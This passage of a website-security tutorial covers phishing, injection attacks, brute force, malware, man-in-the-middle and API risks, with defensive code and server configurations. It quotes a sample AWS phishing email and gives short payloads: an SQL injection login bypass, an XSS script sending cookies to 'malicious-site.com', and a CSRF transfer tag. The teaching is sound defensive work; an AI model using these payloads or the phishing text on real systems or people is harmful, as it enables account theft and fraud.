<p><img src="https://lh7-rt.googleusercontent.com/docsz/AD_4nXeG_BFg3-yAujDNS1rKr2JUkogtOC4oedphrNR7dJr4CMdhKFrcsj3oJR0KaxTmrLzg1f2dKl1ml8KsojIScPdDPN38_E8vytWSAeL9ub5KxAhhhFLeAdo50zZbwPJwwj1xQmJcUA?key=BWNWCCilXXEL-m-TnJSXQ5rh" alt="AD_4nXeG_BFg3-yAujDNS1rKr2JUkogtOC4oedphrNR7dJr4CMdhKFrcsj3oJR0KaxTmrLzg1f2dKl1ml8KsojIScPdDPN38_E8vytWSAeL9ub5KxAhhhFLeAdo50zZbwPJwwj1xQmJcUA?key=BWNWCCilXXEL-m-TnJSXQ5rh" width="600" height="400" loading="lazy"></p>
<p>This email, ostensibly from AWS, says:</p>
<p>“Dear Valued Customer,</p>
<p>As part of our ongoing security enhancements, we have identified <strong>a</strong> <strong>critical vulnerability</strong> affecting your AWS environment. To prevent potential threats and ensure compliance with the latest security standards, an immediate security update is required.</p>
<p>Please log in to the <strong>AWS Security Update Portal</strong> and confirm your credentials to apply the necessary updates. [Link to portal]</p>
<p>Failure to complete this update <strong>within the next 24 hours</strong> may result in <strong>temporary access restrictions to your AWS account.</strong> If you have any questions, please feel free to contact our support team at +1 408 738 7799.</p>
<p>Thank you for your prompt attention to this matter.</p>
<p>Best Regards,<br><strong>AWS Security Team</strong><br>(AWS Support ID: #74829)<br>phone: +1 408 738 7799”</p>
<p>The email appears urgent and looks like it came from a trusted source. But the link leads to a spoofed website designed to steal login credentials. Phishing attacks often use this combination of urgency, official-looking branding, and impersonated email addresses to deceive users.</p>
<h3 id="heading-how-to-prevent-phishing-and-social-engineering">How to Prevent Phishing and Social Engineering</h3>
<h4 id="heading-1-train-users-regularly-and-thoroughly">1. Train users regularly and thoroughly</h4>
<p>Educating employees is the most effective first line of defense. Regularly educate employees about phishing tactics, common warning signs, and how to recognize suspicious messages.</p>
<p>In training sessions, include real examples of phishing emails, simulate attacks within your organization, and review the latest tactics used by scammers. Employees should know how to identify red flags like unfamiliar sender addresses, suspicious attachments, and urgent language that pressures immediate action. Reinforce the idea that it's okay to pause and question anything that feels off.</p>
<h4 id="heading-2-filter-emails-and-use-threat-detection-tools">2. Filter emails and use threat detection tools</h4>
<p>Use advanced security and <a target="_blank" href="https://clean.email/blog/email-security/email-security-software">email management tools</a> to detect and quarantine phishing attempts before they reach inboxes. For example, <a target="_blank" href="https://guardiandigital.com/resources/blog/what-is-cloud-email-security-how-does-it-benefit-businesses">cloud email security</a> can help prevent attacks like phishing and ransomware from reaching your users.</p>
<p>These tools scan incoming emails for known malicious links, spoofed sender domains, and odd formatting. Some even add warning banners to emails that originate outside the organization. </p>
<h4 id="heading-3-require-mfa-across-all-systems">3. Require MFA across all systems</h4>
<p>Enforce <a target="_blank" href="https://en.wikipedia.org/wiki/Multi-factor_authentication">multi-factor authentication</a> across systems, so stolen passwords alone can’t unlock accounts.</p>
<p>Because even the best-trained employees can make mistakes. That’s where MFA comes in – it acts as a strong safety net by requiring an additional step (like a code sent to a phone or biometric login) before granting access to accounts. </p>
<p>This way, even if a password is compromised, attackers can’t log in without the second authentication factor. Make MFA mandatory for all critical tools, including email platforms, cloud services, and administrative panels.</p>
<p>To enable MFA (2-Step Verification) on your Google account:</p>
<ol>
<li><p>Go to <a target="_blank" href="https://myaccount.google.com/">Google Account Settings</a>.</p>
</li>
<li><p>Click on Security in the left sidebar.</p>
</li>
<li><p>Under "Signing in to Google", select 2-Step Verification and click Get Started.</p>
</li>
<li><p>Follow the prompts to verify your password, then choose your second factor (e.g., SMS, authenticator app, or hardware key).</p>
</li>
</ol>
<p>Once enabled, you'll be prompted to enter a code from your second factor every time you log in from an unrecognized device.</p>
<h4 id="heading-4-verify-unusual-requests">4. Verify unusual requests</h4>
<p>Instruct users to confirm unusual or sensitive requests by contacting the sender through trusted channels.</p>
<p>Many phishing attacks rely on social engineering tactics that impersonate executives, vendors, or IT staff. Teach employees to never trust high-risk requests such as wire transfers, password resets, or requests for sensitive data without verifying them first. </p>
<p>Emphasize that verification must happen through a separate channel. For example, calling the person directly or messaging them through a known company app. Simply replying to the original email or message could mean continuing the conversation with the attacker.</p>
<h2 id="heading-2-sql-injection-xss-and-csrf">2. SQL Injection, XSS, and CSRF</h2>
<p>Rather than "conning" users, these attacks exploit weaknesses in web elements and architecture.</p>
<p>Using malicious queries, scripts, and requests, hackers can bypass authentication, capture cookie data, and force transactions. They often target the very forms and scripts businesses rely on to capture leads or gather customer data.</p>
<h3 id="heading-sql-injection">SQL Injection</h3>
<p>Hackers send SQL codes through form input fields, the search bar, or URL parameters to access website databases. If the input isn't properly validated or sanitized, the database executes the attacker's code that will manipulate and <a target="_blank" href="https://www.aura.com/learn/how-to-find-out-if-my-information-is-on-the-dark-web">expose sensitive data on the dark web</a>.</p>
<p>SQL injection exploits unvalidated input fields to search, modify, or delete records from within the database.</p>
<p><strong>SQL injection example:</strong></p>
<pre><code class="lang-sql"><span class="hljs-keyword">SELECT</span> * <span class="hljs-keyword">FROM</span> <span class="hljs-keyword">users</span> <span class="hljs-keyword">WHERE</span> username = <span class="hljs-string">'admin'</span> <span class="hljs-comment">--' AND password = '';</span>
</code></pre>
<h3 id="heading-cross-site-scripting-xss">Cross-Site Scripting (XSS)</h3>
<p>Scripts are injected into web pages, leveraging them against future users.</p>
<p>Cross-Site Scripting (XSS) means that attackers can use scripts on web pages to steal session information from cookies or redirect users to "impersonation" sites.</p>
<p>Here’s how it works: A hacker injects a malicious script into a public form (such as a comment section). The website then displays the comment without sanitizing the content. Eventually, other users load the page and unknowingly run the attacker's script.</p>
<p><strong>XSS example:</strong></p>
<pre><code class="lang-javascript">&lt;script&gt;<span class="hljs-built_in">document</span>.location=<span class="hljs-string">'http://malicious-site.com?cookie='</span>+<span class="hljs-built_in">document</span>.cookie;&lt;/script&gt;
</code></pre>
<h3 id="heading-cross-site-request-forgery-csrf">Cross-Site Request Forgery (CSRF)</h3>
<p>These requests manipulate website users into unwanted actions.</p>
<p>Cross-Site Request Forgeries (CSRFs) attacks happen when a malicious site tricks a user’s browser into making an unwanted request to another site where they're already authenticated into transferring funds, changing contact information, or sharing account details.</p>
<p>Here’s an example: A logged-in user visits a malicious website. Without realizing it, the user's browser submits a hidden request to their legitimate bank site. The action (such as transferring money) happens under the user’s logged-in session without their approval.</p>
<p><strong>CSRF example:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">img</span> <span class="hljs-attr">src</span>=<span class="hljs-string">"http://bank.com/transfer?amount=1000&amp;to=attacker_account"</span>&gt;</span>
</code></pre>
<h3 id="heading-how-to-prevent-script-injection-hacks">How to Prevent Script Injection Hacks</h3>
<p>To stop injection and scripted attacks, you and your team need to be aware of how they happen (which you now are) and how to prevent them. This means you’ll need to proactively build security measures into the website's architecture.</p>
<p>These hacks thrive on technical oversight – like unsanitized input fields, insecure headers, and weak session validations.</p>
<h4 id="heading-1-validate-all-user-input-to-eliminate-unsafe-entries">1. Validate all user input to eliminate unsafe entries</h4>
<p>One of the most common ways attackers exploit web applications is by injecting malicious code into unvalidated fields. Every input field, whether it’s for a name, local phone number, or comment, should be treated as a potential attack vector. </p>
<p>Always validate input both on the client side (for user experience) and the server side (for actual security). </p>
<p>For example, a “phone number” field should only accept digits, not special characters or scripts. Without strict validation, attackers can slip malicious code into your application that interacts directly with your database or browser DOM.</p>
<h4 id="heading-2-use-secure-frameworks-and-orms-to-sanitize-database-queries">2. Use secure frameworks and ORMs to sanitize database queries</h4>
<p>Manually writing SQL queries is risky, especially when those queries include user input. Instead, rely on trusted Object-Relational Mapping (ORM) tools like SQLAlchemy for Python, Hibernate for Java, or Eloquent for PHP. </p>
<p>These tools automatically sanitize inputs and parameterize queries, which means injected scripts or SQL statements won’t be executed as commands. This significantly reduces the chances of SQL injection and other code-based attacks that target your database infrastructure.</p>
<h4 id="heading-3-control-what-types-of-content-browsers-are-allowed-to-load">3. Control what types of content browsers are allowed to load</h4>
<p>Cross-site scripting (XSS) attacks often hide malicious code in scripts, images, or style sheets. To stop them, configure strict content security policies (CSPs) that tell browsers which resources are allowed to load on your site. </p>
<p>For instance, you can block JavaScript from third-party domains or restrict images and styles to those hosted on your server. This acts like a parental control system. It ensures that even if an attacker manages to inject a script, it won’t be executed if it violates the CSP rules.</p>
<p>To implement this kind of browser-level protection, you can define a Content Security Policy (CSP) that specifies which sources of content are considered trustworthy. Here's a basic example:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">meta</span> <span class="hljs-attr">http-equiv</span>=<span class="hljs-string">"Content-Security-Policy"</span> <span class="hljs-attr">content</span>=<span class="hljs-string">"default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' https://trusted-image-cdn.com;"</span>&gt;</span>
</code></pre>
<p>In this example, the CSP restricts all content (default-src) to only load from the same origin ('self'). JavaScript, CSS, and images are similarly restricted, with an exception that allows images from a trusted CDN. This kind of rule prevents the browser from loading scripts or assets from unapproved third-party domains.</p>
<h4 id="heading-4-implement-csrf-tokens-to-protect-against-cross-site-request-forgery">4. Implement CSRF tokens to protect against cross-site request forgery</h4>
<p>Cross-site request forgery (CSRF) tricks users into submitting unwanted actions on a web application where they’re already authenticated – like transferring money or changing passwords. </p>
<p>To stop this, implement unique, per-session CSRF tokens in every form submission. These tokens must be checked server-side to confirm that the request originated from your own site. Without a valid token, the server should automatically reject the request, which prevents attackers from forging it.</p>
<p>Here’s how a CSRF token might look in an HTML form:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">form</span> <span class="hljs-attr">action</span>=<span class="hljs-string">"/update-profile"</span> <span class="hljs-attr">method</span>=<span class="hljs-string">"POST"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"hidden"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"csrf_token"</span> <span class="hljs-attr">value</span>=<span class="hljs-string">"d7f5e3c2a6b8..."</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">input</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"text"</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"username"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">button</span> <span class="hljs-attr">type</span>=<span class="hljs-string">"submit"</span>&gt;</span>Update<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">form</span>&gt;</span>
</code></pre>
<p>On the server side, you should generate a unique token per user session and store it securely (for example, in a session or cookie). Every time a form is submitted, the server checks whether the submitted token matches the one it issued. If it doesn't, the request is rejected.</p>
<h4 id="heading-5-limit-user-privileges-to-reduce-the-blast-radius-of-a-breach">5. Limit user privileges to reduce the blast radius of a breach</h4>
<p>Don’t give full access to every user or system area. If lower-level accounts get compromised, limited access can wall off high-value data.</p>
<p>Set strict permission levels across your site, assigning the least privilege necessary for each role. If a lower-level account is compromised – say, a regular user or junior staff login – the damage is contained because that account can’t reach sensitive data or critical systems. </p>
<p>This principle of least privilege is essential for reducing exposure and protecting high-value assets even when other defenses fail.</p>
<p>This is where <strong>role-based access control (RBAC)</strong> comes in. With RBAC, you assign each user a role (like admin, editor, or viewer), and limit what actions they’re allowed to perform.</p>
<p>For example, in Node.js with Express:</p>
<pre><code class="lang-javascript"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkAdmin</span>(<span class="hljs-params">req, res, next</span>) </span>{
  <span class="hljs-keyword">if</span> (req.user &amp;&amp; req.user.role === <span class="hljs-string">'admin'</span>) {
    next();
  } <span class="hljs-keyword">else</span> {
    res.status(<span class="hljs-number">403</span>).send(<span class="hljs-string">'Access denied.'</span>);
  }
}

<span class="hljs-comment">// Apply this middleware to protect admin-only routes</span>
app.post(<span class="hljs-string">'/delete-user'</span>, checkAdmin, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-comment">// delete logic</span>
});
</code></pre>
<h2 id="heading-3-brute-force-password-attacks"><strong>3. Brute Force Password Attacks</strong></h2>
<p>"Simple" attacks are still effective. When users rely on weak and reused passwords, brute force attacks identify login credentials using lists of common passwords and number-word-symbol combinations.</p>
<p>Attackers don’t need insider knowledge to succeed. They bet on patterns of human behavior. Default passwords, especially for shared corporate accounts (like "admin123!") or credentials reused across sites can get leaked in breaches completely unrelated to your website.</p>
<p>Hackers can try thousands of possibilities in two or three seconds. Bots can work to force access by testing 10,000 or 100,000 of the most-used passwords. Even if 1% of these passwords work, hundreds (or thousands) of accounts can be cracked open in two minutes.</p>
<h3 id="heading-how-to-stop-brute-force-hacking">How to Stop Brute Force Hacking</h3>
<p>Requiring a mix of uppercase, lowercase, numbers, symbols, and character-length minimums can make brute force less attractive. For most sites, minimum password length should be at least 12 characters. Certain sites should demand more.</p>
<h4 id="heading-1-use-temporary-account-lockouts-after-multiple-failed-attempts">1. Use temporary account lockouts after multiple failed attempts</h4>
<p>Lock accounts temporarily after 5–10 failed login attempts. This is one of the most effective ways to deter brute force attacks as it halts attackers from trying endless password combinations and dramatically slows down their efforts.</p>
<p>Even if an attacker uses bots or distributed IPs, these lockouts force them to start over or wait, buying you time to detect and respond to the threat. Some systems also offer progressive delays or account alerts after repeated failures to add an extra layer of defense.</p>
<p>Here’s an example in Node.js using Express and a simple in-memory store:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> loginAttempts = {}; <span class="hljs-comment">// Should be stored in a database or cache like Redis in production</span>
<span class="hljs-keyword">const</span> MAX_ATTEMPTS = <span class="hljs-number">5</span>;
<span class="hljs-keyword">const</span> LOCKOUT_TIME = <span class="hljs-number">10</span> * <span class="hljs-number">60</span> * <span class="hljs-number">1000</span>; <span class="hljs-comment">// 10 minutes</span>

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">checkLockout</span>(<span class="hljs-params">req, res, next</span>) </span>{
  <span class="hljs-keyword">const</span> username = req.body.username;
  <span class="hljs-keyword">const</span> userAttempts = loginAttempts[username] || { <span class="hljs-attr">count</span>: <span class="hljs-number">0</span>, <span class="hljs-attr">lockUntil</span>: <span class="hljs-literal">null</span> };

  <span class="hljs-keyword">if</span> (userAttempts.lockUntil &amp;&amp; <span class="hljs-built_in">Date</span>.now() &lt; userAttempts.lockUntil) {
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">429</span>).send(<span class="hljs-string">'Account is temporarily locked. Try again later.'</span>);
  }

  req.userAttempts = userAttempts;
  next();
}

app.post(<span class="hljs-string">'/login'</span>, checkLockout, <span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> { username, password } = req.body;
  <span class="hljs-keyword">const</span> isValid = authenticate(username, password); <span class="hljs-comment">// Your auth logic here</span>

  <span class="hljs-keyword">if</span> (!isValid) {
    <span class="hljs-keyword">const</span> attempts = req.userAttempts;
    attempts.count += <span class="hljs-number">1</span>;

    <span class="hljs-keyword">if</span> (attempts.count &gt;= MAX_ATTEMPTS) {
      attempts.lockUntil = <span class="hljs-built_in">Date</span>.now() + LOCKOUT_TIME;
    }

    loginAttempts[username] = attempts;
    <span class="hljs-keyword">return</span> res.status(<span class="hljs-number">401</span>).send(<span class="hljs-string">'Invalid credentials.'</span>);
  }

  <span class="hljs-comment">// Successful login: reset attempts</span>
  <span class="hljs-keyword">delete</span> loginAttempts[username];
  res.send(<span class="hljs-string">'Login successful!'</span>);
});
</code></pre>
<p>In production, you'd store login attempt data in a persistent or distributed system like Redis or your database. Many frameworks and platforms also support lockout policies natively or via security libraries, so you can configure them without writing this from scratch.</p>
<h4 id="heading-2-require-mfa-to-block-unauthorized-access">2. Require MFA to block unauthorized access</h4>
<p>Even if a password is guessed, multi-factor authentication (MFA) prompts like a text message or in-app code can block brute force access.</p>
<p>As explained before, with MFA, users must provide a second form of verification – like a time-sensitive code from an authentication app, a push notification, or a text message. This makes it extremely difficult for attackers to succeed, since they rarely have access to the victim’s second device or method of authentication.</p>
<h4 id="heading-3-add-captcha-to-prevent-bot-driven-password-guessing">3. Add CAPTCHA to prevent bot-driven password guessing</h4>
<p>Prevent bots from flooding login endpoints by throttling repeated access or requiring CAPTCHAs.</p>
<p>CAPTCHA tests distinguish human users from bots, forcing attackers to solve visual puzzles or interact with images – something bots can’t easily do. This drastically slows automated attempts and protects your login endpoints from being overwhelmed.</p>
<h4 id="heading-4-avoid-defaults-and-reused-credentials-on-all-systems">4. Avoid defaults and reused credentials on all systems</h4>
<p>Prevent repeating, past, or default credentials on devices, CMS plugins, and admin accounts before going live.</p>
<p>If these aren’t changed before going live, they become open doors for attackers. The same goes for reused credentials from past breaches. Brute force hackers often try known leaked passwords first. Ensure that all accounts – especially those with admin privileges – are set up with unique, strong, and non-repetitive credentials. Implement tools that scan for weak or default passwords before deployment.</p>
<h2 id="heading-4-malware-and-malicious-scripts"><strong>4. Malware and Malicious Scripts</strong></h2>
<p>The "mal" in malware is short for "malicious." One of the more destructive tools in the hacker arsenal, malware can capture keystrokes, hijack systems, steal data, and introduce many more varieties of unpleasantness:</p>
<ul>
<li><p><strong>Keyloggers</strong> record user keystrokes to steal credentials and account numbers.</p>
</li>
<li><p><strong>Spyware</strong> can monitor all user activity and viewed content without consent.</p>
</li>
<li><p><strong>Ransomware</strong> encrypts entire systems and demands payment for safe "return."</p>
</li>
</ul>
<p>Simply visiting a compromised or spoofed site can start installing malware without clicking anything. Hackers also embed malware in online ads by exploiting commercial networks – even on the most "legitimate" sites. Then, free themes, apps, and third-party plugins from unverified publishers can leave websites full of "backdoors."</p>
<h3 id="heading-how-to-prevent-website-malware">How to Prevent Website Malware</h3>
<p>You can use many tools to scan your website or emails for links, attachments, or media hiding malware packages inside. Regularly run a domain blacklist checker to ensure your site hasn't been flagged by security databases, which can block your domain from emails, search engines, or browser warnings. Outside these findings, stay true to the first principles of safe downloads, smart updates, and secure uploading:</p>
<h4 id="heading-1-trust-only-reputable-downloads-and-verified-sources">1. Trust only reputable downloads and verified sources</h4>
<p>Stick to official repositories, theme stores, and plugin developers with positive reputations and clear authorship when downloading website components like a Wordpress theme, plugins, or JavaScript library. </p>
<p>Avoid “nulled” or cracked versions of paid software, as these are common vehicles for hidden malware. Vet every third-party tool for reputation and transparency before adding it to your tech stack.</p>
<h4 id="heading-2-keep-all-software-plugins-and-platforms-up-to-date">2. Keep all software, plugins, and platforms up to date</h4>
<p>Outdated CMS platforms, plugins, and server-side scripts are some of the most common vulnerabilities exploited by malware. Hackers actively scan for known security flaws in older versions of software. </p>
<p>To stay ahead, enable automatic updates whenever possible, or establish a consistent patching schedule (weekly or monthly) to check and apply updates across your stack. Don’t overlook minor version updates as they often contain critical security fixes.</p>
<h4 id="heading-3-scan-and-restrict-user-uploaded-files">3. Scan and restrict user-uploaded files</h4>
<p>If your site allows user uploads, like pictures or attachments, scan every file for malware while enforcing file types.</p>
<p>Enforce strict upload rules: limit file types to only what’s necessary (for example, .jpg, .png, .pdf), apply maximum file size limits, and run malware scans on each file before it’s processed or stored. Use server-side validation and sandboxing to inspect uploads without risking your core infrastructure.</p>
<h4 id="heading-4-run-regular-malware-and-domain-blacklist-scans">4. Run regular malware and domain blacklist scans</h4>
<p>Proactively scan your website for malware using security tools like Sucuri, VirusTotal, or your hosting provider’s built-in scanners. These tools help detect suspicious code, hidden iframes, malicious redirects, or trojan injections. </p>
<p>You can also use a domain blacklist checker to ensure your website hasn’t been flagged by Google Safe Browsing, Norton Safe Web, or other security databases. Being blacklisted can prevent your emails from reaching inboxes and may trigger browser security warnings for visitors.</p>
<h4 id="heading-5-limit-admin-access-and-use-secure-file-permissions">5. Limit admin access and use secure file permissions</h4>
<p>Malware infections often stem from weak admin access policies. Limit the number of users who have backend access, especially to high-privilege areas. </p>
<p>Use unique, strong passwords and multi-factor authentication for all admin accounts. On the server side, set strict file permissions (for example, 644 for files and 755 for directories) to prevent unauthorized modifications. Avoid giving full write access unless absolutely necessary.</p>
<h2 id="heading-5-man-in-the-middle-attacks-and-public-connections"><strong>5. Man-in-the-Middle Attacks and Public Connections</strong></h2>
<p>Man-in-the-Middle (MitM) attacks intercept data between a user and a website – especially over unsecured or public networks like Wi-Fi in a coffee shop.</p>
<p>Whenever you send or receive data, there’s always a chance someone is actively listening. After ordering their latte, a customer logs into their account on public Wi-Fi. Meanwhile, a hacker's "packet sniffer" captures the session's cookies, hijacking their account.</p>
<p>Packet sniffing is a technique where attackers use software tools to monitor and capture data packets transmitted over a network. On unsecured Wi-Fi and without encryption, these tools can pick up login details, messages, or even credit card numbers.</p>
<h3 id="heading-how-to-secure-personal-data-connections">How to Secure Personal Data Connections</h3>
<p>A combination of education and SSL certificates cut out "middle man" hacks and attacks. Here are ways to enforce these protections:</p>
<h4 id="heading-1-use-https-to-encrypt-all-browser-server-communications">1. Use HTTPS to encrypt all browser-server communications</h4>
<p>HTTPS ensures that data transferred between a user's browser and your website is encrypted, preventing attackers from intercepting login credentials, form submissions, or payment details. </p>
<p>To implement this, install an SSL/TLS certificate on your site. Most hosting providers now offer free SSL certificates through services like Let’s Encrypt, and many platforms make installation simple.</p>
<p>Here’s how to install an SSL certificate using Let’s Encrypt on a server running Nginx:</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Step 1: Install Certbot</span>
sudo apt update
sudo apt install certbot python3-certbot-nginx

<span class="hljs-comment"># Step 2: Run Certbot to get and install your certificate</span>
sudo certbot --nginx

<span class="hljs-comment"># Certbot will prompt you to choose your domain and configure HTTPS automatically</span>
</code></pre>
<p>If you're using a managed hosting provider like Bluehost, SiteGround, or Shopify, you can typically enable HTTPS with just a few clicks in your dashboard. That means no code or terminal commands required.</p>
<h4 id="heading-2-redirect-all-http-traffic-to-https-automatically">2. Redirect all HTTP traffic to HTTPS automatically</h4>
<p>Having an SSL certificate isn’t enough if users can still access your site through unsecured HTTP. Set up automatic redirection rules (via .htaccess or server settings) to ensure that every visit is routed through HTTPS. </p>
<p>Here’s how to set up HTTPS redirection using .htaccess on an Apache server:</p>
<pre><code class="lang-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">RewriteEngine</span></span> <span class="hljs-literal">On</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteCond</span></span> <span class="hljs-variable">%{HTTPS}</span> <span class="hljs-literal">off</span>
<span class="hljs-attribute"><span class="hljs-nomarkup">RewriteRule</span></span> ^(.*)$ https://<span class="hljs-variable">%{HTTP_HOST}</span><span class="hljs-variable">%{REQUEST_URI}</span><span class="hljs-meta"> [L,R=301]</span>
</code></pre>
<p>But most modern hosting platforms (like Netlify, Vercel, or Cloudflare) allow you to enable this redirect with a toggle in the dashboard—no manual config needed.</p>
<p>This step ensures that no part of your site can be accessed insecurely, closing the door on potential Man-in-the-Middle attacks that rely on intercepting data from unencrypted connections.</p>
<h4 id="heading-3-educate-users-on-risks-and-promote-safe-browsing-habits">3. Educate users on risks and promote safe browsing habits</h4>
<p>Even if your website is secure, users accessing it through public or unsecured networks (like airport or coffee shop Wi-Fi) are still vulnerable. Encourage users to use VPN tools and protective software to "tunnel" their data directly when using websites on public networks.</p>
<p>A VPN creates a private, encrypted tunnel for their internet activity, adding another layer of protection between them and potential attackers. You can include this advice in help center articles, login pages, or during onboarding for security-conscious services.</p>
<h4 id="heading-4-implement-http-strict-transport-security-hsts"><strong>4. Implement HTTP Strict Transport Security (HSTS).</strong></h4>
<p>HSTS is a response header that tells browsers to always connect via HTTPS – even if a user manually types “http://”. This eliminates the risk of SSL stripping attacks, where hackers downgrade secure HTTPS connections to insecure HTTP to intercept data. Configuring HSTS ensures long-term enforcement of secure access and further hardens your website’s security posture.</p>
<p>To enable HSTS, add this response header to your server configuration or .htaccess file:</p>
<pre><code class="lang-apache"><span class="hljs-attribute"><span class="hljs-nomarkup">Header</span></span> always set Strict-Transport-Security <span class="hljs-string">"max-age=63072000; includeSubDomains; preload"</span>
</code></pre>
<ul>
<li><p>max-age=63072000 sets the policy to last for two years (in seconds).</p>
</li>
<li><p>includeSubDomains applies HSTS to all subdomains.</p>
</li>
<li><p>preload allows your domain to be included in browser preload lists for even stronger protection (requires submission to <a target="_blank" href="https://hstspreload.org">hstspreload.org</a>).</p>
</li>
</ul>
<p>HSTS adds another layer of insurance. Once a browser sees this header, it refuses to connect to your site via HTTP ever again</p>
<h4 id="heading-5-disable-outdated-or-vulnerable-protocols-and-ciphers">5. Disable outdated or vulnerable protocols and ciphers</h4>
<p>As SSL/TLS standards evolve, older versions (like SSL 2.0 or TLS 1.0) are no longer secure and should be disabled on your server. Instead, enforce the use of TLS 1.2 or higher. </p>
<p>Also, configure your server to only support strong cipher suites and disable weak ones to prevent downgrade and decryption attacks.</p>
<p>Example for NGINX:</p>
<pre><code class="lang-nginx"><span class="hljs-attribute">ssl_protocols</span> TLSv1.<span class="hljs-number">2</span> TLSv1.<span class="hljs-number">3</span>;

<span class="hljs-attribute">ssl_ciphers</span> <span class="hljs-string">'ECDHE-ECDSA-AES256-GCM-SHA384:
             ECDHE-RSA-AES256-GCM-SHA384:
             ECDHE-ECDSA-CHACHA20-POLY1305:
             ECDHE-RSA-CHACHA20-POLY1305:
             ECDHE-ECDSA-AES128-GCM-SHA256:
             ECDHE-RSA-AES128-GCM-SHA256'</span>;

<span class="hljs-attribute">ssl_prefer_server_ciphers</span> <span class="hljs-literal">on</span>;
</code></pre>
<p>This setup forces modern, secure encryption while disabling old, vulnerable algorithms. After applying these settings, restart your server to enforce them.</p>
<p>Once your cipher suite configuration is in place, it's a good idea to test it and regularly audit your server’s SSL configuration using tools like SSL Labs to verify that your server supports only secure protocols and ciphers, and to ensure <a target="_blank" href="https://www.timedoctor.com/blog/cybersecurity-compliance/">cybersecurity compliance</a> with current best practices.</p>
<h2 id="heading-6-outdated-software-and-old-plugins"><strong>6. Outdated Software and Old Plugins</strong></h2>
<p>Outdated code is the hacker's favorite security feature. Poor maintenance not only threatens data but also damages SaaS retention. When users don’t feel safe, even the best user analytical tools can’t fix churn. Major CMS platforms (like WordPress and SquareSpace) use themes, plugins, and third-party software requiring almost constant updating.</p>
<p>Unknowingly, each of these could smuggle in weaknesses for data thievery. When updates are released, they often intend to fix security issues, pesky bugs, and freshly discovered vulnerabilities.</p>
<h3 id="heading-how-to-patch-and-update-website-security">How to Patch and Update Website Security</h3>
<p>Public information – like official software notes about new security patches and resolved bugs – can then act as a flaw menu for attacking apps yet to update. Every user with out-of-date access poses a threat to the system. Don't let these be issues your developers have already "designed away."</p>
<h4 id="heading-1-schedule-regular-patching-cycles-for-your-site-apps-and-services">1. Schedule regular patching cycles for your site, apps, and services</h4>
<p>A site, app, or service should set weekly or monthly times to check version numbers and push patch updates. You should assign responsibility to a specific team member or set up alerts to stay on top of newly released patches from software vendors.</p>
<p>By failing to apply updates promptly, you're leaving your systems exposed to risks that are already documented and potentially being exploited.</p>
<h4 id="heading-2-allow-auto-updates-wherever-safe-and-possible">2. Allow auto-updates wherever safe and possible</h4>
<p>Most CMS platforms for publishing sites include the option for installing automatic updates to core files and plugins.</p>
<p>Enabling this can dramatically reduce your site's vulnerability window, especially for minor updates and security patches. While some major updates may still require testing before implementation, enabling automatic updates for critical security releases ensures your site isn't left behind while you wait for manual intervention.</p>
<h4 id="heading-3-audit-and-remove-unused-software-plugins-and-themes">3. Audit and remove unused software, plugins, and themes</h4>
<p>The most dangerous security flaws are the forgotten ones, so remove unused themes or plugins before they can be exploited.</p>
<p>Make it a habit to run regular audits of your system, remove anything you’re not actively using, and replace poorly maintained tools with better-supported alternatives. Even dormant or inactive themes can contain vulnerable code that can be exploited if not cleaned out.</p>
<h2 id="heading-7-apis-integrations-and-third-party-attacks"><strong>7. APIs, Integrations, and Third-Party Attacks</strong></h2>
<p>The vast majority of websites depend on API connections and third-party scripts to monitor analytics to process payments. Every connection – no matter how slight – should come with a warning.</p>
<p>Like late-to-update users, attackers also exploit APIs to bypass authentication, use third-party tools to extract data, and infect partner sites with malware. Your own code may be watertight, flawless, and impenetrable – but insecure APIs and third-party tools share their every weakness.</p>
<p>Consider a supply chain attack. A JavaScript library embedded on thousands of sites is wrapped up with multiple malware scripts. The sites who rely on the library become new territory for attack, draining user data from hundreds of sites that rely on that library.</p>
<h3 id="heading-how-to-secure-integrations-and-apis">How to Secure Integrations and APIs</h3>
<h4 id="heading-1-require-strong-authentication-for-all-api-and-integration-requests">1. Require strong authentication for all API and integration requests</h4>
<p>A third-party app, plugin, or external script, and every other connection to your system should prove its identity before accessing your data or services. </p>
<p>This is typically done using secure methods like API keys, OAuth tokens, or client certificates.</p>
<ul>
<li><p><strong>API keys:</strong> These are unique tokens generated by your system and issued to approved clients. Clients include the key in their request headers (e.g., Authorization: Bearer YOUR_API_KEY), and your backend checks the key's validity before processing the request. While simple to implement, API keys should be rotated regularly and kept confidential.</p>
</li>
<li><p><strong>OAuth tokens:</strong> OAuth is ideal when users need to grant limited access to their data without sharing credentials. Your system acts as an authorization server and issues temporary access tokens. Clients send these tokens with requests, and your API validates them. OAuth also supports scopes and expirations, giving you fine-grained access control.</p>
</li>
<li><p><strong>Client certificates:</strong> For higher security (especially between servers), use mutual TLS (mTLS). In this setup, both the client and server authenticate each other using X.509 certificates. It adds a strong layer of trust by validating identities through cryptographic means (especially useful in banking or enterprise integrations).</p>
</li>
</ul>
<p>By enforcing authentication, you ensure that only authorized systems can make requests, greatly reducing the risk of unauthorized access or data leaks. Rotate these keys regularly and monitor their usage to detect suspicious behavior early.</p>
<h4 id="heading-2-sanitize-and-validate-all-incoming-data-even-from-trusted-third-parties">2. Sanitize and validate all incoming data, even from trusted third parties</h4>
